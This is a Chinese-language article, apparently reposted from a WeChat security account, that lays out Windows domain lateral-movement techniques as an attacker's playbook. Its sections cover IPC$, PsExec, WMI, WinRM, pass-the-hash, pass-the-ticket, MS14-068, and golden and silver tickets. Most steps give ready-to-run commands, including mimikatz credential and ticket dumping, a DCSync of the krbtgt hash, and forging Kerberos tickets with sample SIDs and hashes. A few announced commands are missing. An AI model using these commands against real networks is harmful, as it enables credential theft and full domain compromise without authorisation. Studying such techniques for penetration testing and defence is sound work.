內(nèi)網(wǎng)橫向移動(dòng)思路和技巧
本文轉(zhuǎn)載自微信公眾號(hào)「Bypass」,可以通過以下二維碼關(guān)注。轉(zhuǎn)載本文請(qǐng)聯(lián)系Bypass公眾號(hào)。
攻擊者借助跳板機(jī)進(jìn)一步入侵內(nèi)網(wǎng)服務(wù)器后,接著會(huì)通過各種方式來獲取目標(biāo)系統(tǒng)權(quán)限,獲取用戶的明文密碼或Hash值在內(nèi)網(wǎng)中橫向移動(dòng)。
最簡單的方式,就是使用明文密碼進(jìn)行登錄遠(yuǎn)程服務(wù)器。在這里,我們來總結(jié)一下Windows橫向移動(dòng)的思路與攻擊手法。
1. IPC連接
通過驗(yàn)證用戶名和密碼建立與目標(biāo)機(jī)器的IPC$會(huì)話連接,查看遠(yuǎn)程主機(jī)的共享資源,執(zhí)行上傳/下載,創(chuàng)建計(jì)劃任務(wù)等操作。
- net use \\<DC的IP>\ipc$ "password" /user:"username"
2. PsExec
PsExec是一個(gè)輕量級(jí)的telnet替代品,它允許您在其他系統(tǒng)上執(zhí)行進(jìn)程,并為控制臺(tái)應(yīng)用程序提供完整的交互性,而無需手動(dòng)安裝客戶端軟件。
下載地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
返回一個(gè)交互式shell:
- psexec.exe \\10.1.1.1 -u administrator -p abc123! cmd.exe
同時(shí),Metasploit下也集成了PsExec模塊。
3. WMI
WMI即Windows管理規(guī)范 是用戶管理本地和遠(yuǎn)程計(jì)算機(jī)的一種模型。通過它可以訪問、配置、管理和監(jiān)視幾乎所有的 Windows 資源。
遠(yuǎn)程創(chuàng)建進(jìn)程:
- wmic /node:10.1.1.1 /user:administrator /password:abc123! process call create "cmd.exe /c ipconfig"
4. WinRM
WinRM指的是Windows遠(yuǎn)程管理服務(wù),通過遠(yuǎn)程連接winRM模塊可以操作windows命令行,默認(rèn)監(jiān)聽端口5985(HTTP)&5986 (HTTPS),在2012以后默認(rèn)開啟。
- winrs -r:http://10.1.1.1:5985 -u:administrator -p:abc123! "whoami /all"
5. 哈希傳遞攻擊(Pass the hash)
獲取目標(biāo)用戶的哈希,攻擊者就可以使用用戶的哈希來來模擬用戶,獲取用戶訪問權(quán)限。
MSF 提供了psexec模塊可以進(jìn)行Hash傳遞,只使用密碼哈希,來執(zhí)行任意命令:
6. 票據(jù)傳遞攻擊(Pass the ticket)
獲取域控權(quán)限后,就可以導(dǎo)出域控內(nèi)存中的Ticket,用來登錄域控。
攻擊流程:
第一步:使用mimikatz導(dǎo)出內(nèi)存中的ticket
- mimikatz# sekurlsa::tickets /export
第二步:挑選一個(gè)文件,在普通用戶的主機(jī)進(jìn)行導(dǎo)入。
第三步:獲取域控權(quán)限
7. MS14-068
MS14068是一個(gè)能夠使普通用戶提權(quán)到域控權(quán)限的權(quán)限提升漏洞。攻擊者可以通過構(gòu)造特定的請(qǐng)求包來達(dá)到提升權(quán)限的目的。前提是需要在域控主機(jī)查看是否安裝了KB3011780補(bǔ)丁。
攻擊流程:
第一步:利用MS14-068偽造生成TGT
- MS14-068.exe -u bypass@test.com -p abc123! -s S-1-5-21-735015318-3972860336-672499796 -d dc.test.com
第二步:利用mimikatz將工具得到的TGT票據(jù)寫入內(nèi)存,創(chuàng)建緩存證書
- mimikatz#kerberos::ptc TGT_bypass@test.com.ccache
第三步:獲取權(quán)限
- PsExec.exe \\dc cmd.exe
8. 黃金票據(jù)(Golden Ticket)
黃金票據(jù)的原理就是用krbtgt的hash來偽造TGT,只要擁有了高權(quán)限的TGT,就可以發(fā)送給TGS換取任意服務(wù)的ST。
第一步:獲取krbtgt的SID和哈希
通過mimikatz命令直接獲取krbtgt的SID值和哈希值。
- lsadump::dcsync /domain:test.com /user:krbtgt
第二步:偽造黃金票據(jù)
使用mimikatz偽造TGT
- kerberos::golden /admin:administrator /domain:test.com /sid:S-1-5-21-735015318-3972860336-672499796 /krbtgt:dc717a226a07d0f6adbcd9c0337c6513 /ticket:golden.kiribi
第三步:獲取權(quán)限
清空本地票據(jù)緩存,導(dǎo)入偽造的黃金票據(jù)。
- kerberos::list #查看本地保存的票據(jù)
- kerberos::purge #清空本地票據(jù)緩存
- kerberos::ptt golden.kiribi #導(dǎo)入偽造的黃金票據(jù)
- kerberos::list #重新查看本地保存的票據(jù)
第四步:利用偽造的黃金票據(jù)
直接利用PsExec.exe來遠(yuǎn)程登錄和執(zhí)行命令
- PsExec.exe \\dc cmd.exe
9. 白銀票據(jù)(Silver Tickets)
白銀票據(jù)(Silver Tickets)的原理是偽造 ST(Service Ticket),因此無需經(jīng)過KDC,直接使用用戶賬戶的hash進(jìn)行加密,就可以獲取指定的訪問權(quán)限。
偽造的票據(jù)只對(duì)部分服務(wù)起作用,可以利用的服務(wù)有以下幾種:
第一步:構(gòu)建場(chǎng)景
同一個(gè)域控下的兩臺(tái)主機(jī),使用文件共享方式來訪問win-server的文件,提示“拒絕訪問”。
第二步 獲取NTLM HASH
登錄win-server 服務(wù)器,使用mimikatz導(dǎo)出hash
- mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt
第三步:偽造票據(jù)
第四步:訪問共享文件
- kerberos::golden /domain:test.com /sid:S-1-5-21-735015318-3972860336-672499796 /rc4:943434a10b5134c0b1ef5e8f1ef9b020 /user:test /service:cifs /target:win-server.test.com /ptt